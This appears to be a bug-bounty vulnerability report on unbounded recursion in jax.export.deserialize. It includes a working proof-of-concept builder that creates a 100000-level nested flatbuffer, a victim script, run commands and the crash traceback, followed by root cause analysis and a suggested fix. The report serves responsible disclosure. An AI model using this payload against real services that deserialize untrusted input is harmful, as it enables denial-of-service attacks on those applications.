EnigmaConsultant/huntr-poc-jax-deserialize-pytree-recursion-dos

Uncontrolled recursion (CWE-674) in jax.export.deserialize pytree parsing causes DoS on a crafted Exported flatbuffer

Summary

jax.export.deserialize() parses an attacker-controlled Exported flatbuffer. The pytree reconstruction helper _deserialize_pytreedef_to_pytree (jax/_src/export/serialization.py) recurses once per nesting level of the on-wire PyTreeDef (exp.InTree() / exp.OutTree()) with no depth limit. Because the nesting depth of the flatbuffer is fully attacker-controlled, a deeply nested PyTreeDef (e.g. 100000 single-child tuple nodes) exhausts the Python call stack during deserialization, before most other validation runs. This is a denial-of-service reachable from the public API on any application that deserializes an untrusted Exported blob.

• Target: jax / jaxlib
• Version tested: jax==0.10.2, jaxlib==0.10.2 (real PyPI wheels)
• Interpreter: CPython 3.13.12 (Linux)
• CWE: CWE-674 (Uncontrolled Recursion)
• Impact: Recoverable / process-terminating denial of service (unhandled RecursionError propagates out of the public entry point and terminates the consumer process). Not memory corruption.
• Affected file: jax/_src/export/serialization.py

Root cause

jax/_src/export/serialization.py (lines ~538-548):

def _deserialize_pytreedef_to_pytree(
    p: ser_flatbuf.PyTreeDef,
    leaf_iterator: Iterator[Any],
) -> tree_util.PyTree:
  """Deserializes a PyTreeDef into a PyTree using an iterator over leaves."""
  kind = p.Kind()
  nr_children = p.ChildrenLength()
  children = [
      _deserialize_pytreedef_to_pytree(p.Children(i), leaf_iterator)   # <-- unbounded recursion
      for i in range(nr_children)
  ]
  if kind == ser_flatbuf.PyTreeDefKind.leaf:
    return next(leaf_iterator)
  ...

The function recurses directly into every child node with no depth counter, no iterative worklist, and no limit check. p is deserialized straight from the attacker-supplied flatbuffer, so the recursion depth equals the attacker-chosen nesting depth of InTree / OutTree.

Reachability (public entry point)

jax.export.deserialize(blob)                       # public API
  -> jax/_src/export/_export.py:358  deserialize(blob)
  -> jax/_src/export/serialization.py:151  _deserialize_exported(exp)
  -> serialization.py:396  in_tree = _deserialize_pytreedef(exp.InTree(), in_avals)
  -> serialization.py:532  _deserialize_pytreedef_to_pytree(p, leaf_iterator)
  -> serialization.py:546  (self-recursion, once per nesting level)

The pytree is parsed early in _deserialize_exported, before the MLIR module, avals, and other fields are validated — so a malicious blob does not need to be otherwise well-formed to trigger the crash.

Proof of concept

build_deep.py constructs a valid Exported flatbuffer by hand using jax's own generated builder API (jax._src.export.serialization_generated). The in_tree is depth nested tuple-with-one-child PyTreeDef nodes ending in a none node (using none avoids needing matching avals/leaves). The out_tree is a trivial none, and the MLIR / kept-var vectors are empty.

# build_deep.py  (excerpt)
def build(depth):
    b = flatbuffers.Builder(1024)
    G.PyTreeDefStart(b); G.PyTreeDefAddKind(b, G.PyTreeDefKind.none)
    node = G.PyTreeDefEnd(b)
    for _ in range(depth):                      # wrap depth times: tuple-with-one-child
        child = node
        G.PyTreeDefStartChildrenVector(b, 1)
        b.PrependUOffsetTRelative(child)
        children = b.EndVector()
        G.PyTreeDefStart(b)
        G.PyTreeDefAddKind(b, G.PyTreeDefKind.tuple)
        G.PyTreeDefAddChildren(b, children)
        node = G.PyTreeDefEnd(b)
    in_tree = node
    # ... none out_tree, "f" function name, empty mlir + kept-var vectors ...

Note: sys.setrecursionlimit in the builder only affects the builder process; the victim runs at the default limit.

victim_unhandled.py is a realistic consumer that deserializes an untrusted blob with no try/except and no special recursion config:

# victim_unhandled.py
import sys
from jax import export
blob = open(sys.argv[1], "rb").read()
exp = export.deserialize(blob)          # attacker-controlled nesting
print("deserialized:", exp.fun_name)    # never reached for the deep blob

Build & run

python build_deep.py 5           # -> deep_5.bin (negative control, ~216 B)
python build_deep.py 100000      # -> deep_100000.bin (malicious, ~2 MB)

python victim_unhandled.py deep_5.bin        # clean deserialize, EXIT=0
python victim_unhandled.py deep_100000.bin   # unhandled RecursionError, EXIT=1

Captured evidence (verbatim, real execution against jax==0.10.2 / jaxlib==0.10.2, CPython 3.13.12)

===== NEGATIVE CONTROL: shallow depth=5 =====
deserialized: f
EXIT=0

===== MALICIOUS: depth=100000, unhandled =====
Traceback (most recent call last):
  File "/home/kali/hunt-workspace/jax-3rdbug/victim_unhandled.py", line 5, in <module>
    exp = export.deserialize(blob)          # attacker-controlled nesting
  File ".../jax/_src/export/_export.py", line 358, in deserialize
    return deserialize(blob)
  File ".../jax/_src/export/serialization.py", line 151, in deserialize
    return _deserialize_exported(exp)
  File ".../jax/_src/export/serialization.py", line 396, in _deserialize_exported
    in_tree = _deserialize_pytreedef(exp.InTree(), in_avals)
  File ".../jax/_src/export/serialization.py", line 532, in _deserialize_pytreedef
    pytree = _deserialize_pytreedef_to_pytree(p, leaf_iterator)
  File ".../jax/_src/export/serialization.py", line 546, in _deserialize_pytreedef_to_pytree
    _deserialize_pytreedef_to_pytree(p.Children(i), leaf_iterator)
  File ".../jax/_src/export/serialization.py", line 546, in _deserialize_pytreedef_to_pytree
    _deserialize_pytreedef_to_pytree(p.Children(i), leaf_iterator)
  File ".../jax/_src/export/serialization.py", line 546, in _deserialize_pytreedef_to_pytree
    _deserialize_pytreedef_to_pytree(p.Children(i), leaf_iterator)
  [Previous line repeated 988 more times]
  File ".../jax/_src/export/serialization.py", line 543, in _deserialize_pytreedef_to_pytree
    kind = p.Kind()
  File ".../jax/_src/export/serialization_generated.py", line 117, in Kind
    o = flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(4))
  File ".../flatbuffers/table.py", line 39, in Offset
    vtable = self.Pos - self.Get(N.SOffsetTFlags, self.Pos)
  File ".../flatbuffers/table.py", line 100, in Get
    N.enforce_number(off, N.UOffsetTFlags)
RecursionError: maximum recursion depth exceeded
EXIT=1

The negative control (depth 5) deserializes cleanly and prints the function name; the malicious blob (depth 100000) raises an unhandled RecursionError from inside _deserialize_pytreedef_to_pytree that propagates out of the public export.deserialize() call and terminates the process.

Additional observation (elevated recursion limit)

With an application-elevated recursion limit (sys.setrecursionlimit(200000+), common in ML code that hits Python's default 1000 limit), the failure escalates into the jaxlib C++ pytree (nanobind) layer via tree_util.tree_structure, producing a SystemError instead. A native SIGSEGV was not achievable — CPython 3.13's recursion guard catches even the C++ tree_structure path — so the confirmed impact is a recoverable / process-terminating DoS, not memory corruption.

Suggested fix

Enforce a maximum nesting depth (or convert to an explicit iterative/worklist traversal) in _deserialize_pytreedef_to_pytree, and reject flatbuffers whose PyTreeDef nesting exceeds a sane bound before recursing.

Deduplication note

This is distinct from other known / previously-reported jax and related serialization findings:

• jax executable-pickle RCE — different root cause (pickle deserialization of the executable), different CWE.
• jax shape_poly power-expression OOM (CWE-400) — different file (shape_poly), different mechanism (memory exhaustion via symbolic-dimension power expansion), different CWE.
• orbax msgpack tuple recursion segfault — different library (orbax) and different wire format (msgpack), not the jax Exported flatbuffer path.

This finding is specifically the unbounded recursion in the Exported flatbuffer PyTreeDef parser (_deserialize_pytreedef_to_pytree, jax/_src/export/serialization.py), reached via jax.export.deserialize(). No CVE is known for this code path at the time of writing.